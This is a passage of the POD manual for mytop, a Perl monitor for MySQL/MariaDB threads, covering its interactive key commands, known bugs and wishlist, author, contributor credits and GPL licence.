welcome. =item B Turn display color on and off. Default is on. =item B Show only threads connected to a particular database. =item B Given a thread id, display the entire query that thread was (and still may be) running. =item B Disable all filtering (host, user, and db). =item B Only show queries from a particular host. =item B Toggle the header display. You can also specify either C or C in your config file to set the default behavior. =item B Toggle the display of idle (sleeping) threads. If sleeping threads are filtered, the default sorting order is reversed so that the longest running queries appear at the top of the list. =item B Switch to InnoDB Status mode. The output of "SHOW ENGINE INNODB STATUS" will be displayed every cycle. In a future version, this may actually summarize that data rather than producing raw output. =item B Kill a thread. =item B Toggle modes. Currently this switches from `top' mode to `qps' (Queries Per Second Mode). In this mode, mytop will write out one integer per second. The number written reflects the number of queries executed by the server in the previous one second interval. More modes may be added in the future. =item B Reverse the default sort order. =item B

Pause display. =item B Quit B =item B Reset the server's status counters via a I command. =item B Togle IP reverse lookup. Default is on. =item B Change the sleep time (number of seconds between display refreshes). =item B Set the number of seconds a query will need to run before it is considered old and will be highlighted. =item B Show only threads owned by a giver user. =back The B key has a command-line counterpart: B<-s>. The B key has two command-line counterparts: B<--header> and B<--noheader>. =head1 BUGS This is more of a BUGS + WishList. Some performance information is not available when talking to a version 3.22.x MySQL server. Additional information (about threads mostly) was added to the output of I in MySQL 3.23.x and B makes use of it. If the information is not available, you will simply see zeros where the real numbers should be. Simply running this program will increase your overall counters (such as the number of queries run). But you may or may not view that as a bug. B consumes too much CPU time when running (verified on older versions of Linux and FreeBSD). It's likely a problem related to Term::ReadKey. I haven't had time to investigate yet, so B now automatically lowers its priority when you run it. You may also think about running B on another workstation instead of your database server. However, C on Solaris does B have this problem. Newer versions of Linux and FreeBSD seem to have fixed this. You can't specify the maximum number of threads to list. If you have many threads and a tall xterm, B will always try to display as many as it can fit. The size of most of the columns in the display has a small maximum width. If you have fairly long database/user/host names the display may appear odd. I have no good idea as to how best to deal with that yet. Suggestions are welcome. It'd be nice if you could just add B configuration directives in your C file instead of having a separate config file. You should be able to specify the columns you'd like to see in the display and the order in which they appear. If you only have one username that connects to your database, it's probably not worth having the User column appear, for example. =head1 AUTHOR mytop was developed and is maintained by Jeremy D. Zawodny (Jeremy@Zawodny.com). If you wish to e-mail me regarding this software, B subscribe to the B mailing list. See the B homepage for details. =head1 DISCLAIMER While I use this software in my job at Yahoo!, I am solely responsible for it. Yahoo! does not necessarily support this software in any way. It is merely a personal idea which happened to be very useful in my job. =head1 SEE ALSO Please check the MariaDB manual if you're not sure where some of the output of B is coming from. =head1 COPYRIGHT Copyright (C) 2000-2010, Jeremy D. Zawodny. =head1 CREDITS Fix a bug. Add a feature. See your name here! Many thanks go to these fine folks: =over =item Jean Weisbuch (jean@phpnet.org) Added --fullqueries and --sort options, dynamic user and database columns width, reading of .my.cnf, state/progress column that can be disabled dynamically (when available) and various small fixes. =item Michael "Monty" Widenius Fixed a couple of minor bugs that gave warnings on startup. Added support for MariaDB (show MariaDB at top and % done). Cut long server version names to display width. Made 'State' length dynamic. =item Mark Grennan (mark@grennan.com) www.linuxfangoy.com Added updates for MySQL 5.x. Added 'S' (slow) highlighting. Added 'C' to turn on and off Color. Added 'l' command to change color for long running queries. Fixed a few documentation issues. Monitors Slave status. Added color to Queue hit ratio. Added number of rows sorted per second. Created release 1.7. =item Sami Ahlroos (sami@avis-net.de) Suggested the idle/noidle stuff. =item Jan Willamowius (jan@janhh.shnet.org) Minor bug report. Documentation fixes. =item Alex Osipov (alex@acky.net) Long command-line options, Unix socket support. =item Stephane Enten (tuf@grolier.fr) Suggested batch mode. =item Richard Ellerbrock (richarde@eskom.co.za) Bug reports and usability suggestions. =item William R. Mattil (wrm@newton.irngtx.tel.gte.com) Bug report about empty passwords not working. =item Benjamin Pflugmann (philemon@spin.de) Suggested -P command-line flag as well as other changes. =item Justin Mecham Suggested setting $0 to `mytop'. =item Thorsten Kunz Provided a fix for cases when we try remove the domain name from the display even if it is actually an IP address. =item Sasha Pachev Provided the idea of real-time queries per second in the main display. =item Paul DuBois Pointed out some option-handling bugs. =item Mike Wexler Suggested that we don't mangle (normalize) whitespace in query info by default. =item Mark Zweifel Make the --idle command-line argument negatable. =item Axel Schwenke Noticed the incorrect formula for query cache hit percentages in version 1.2. =item Steven Roussey Supplied a patch to help filter binary junk in queries so that terminals don't freak out. =item Jon R. Luini Supplied a patch that formed the basis for C<--prompt> support. Sean Leach submitted a similar patch. =item Yogish Baliga Supplied a patch that formed the basis for C<--resolve> support. =item Per Andreas Buer Supplied an excellent patch to tidy up the top display. This includes showing most values in short form, such as 10k rather than 10000. =back See the Changes file on the B distribution page for more details on what has changed. =head1 LICENSE B is licensed under the GNU General Public License version 2. For the full license information, please visit http://www.gnu.org/copyleft/gpl.html =cut __END__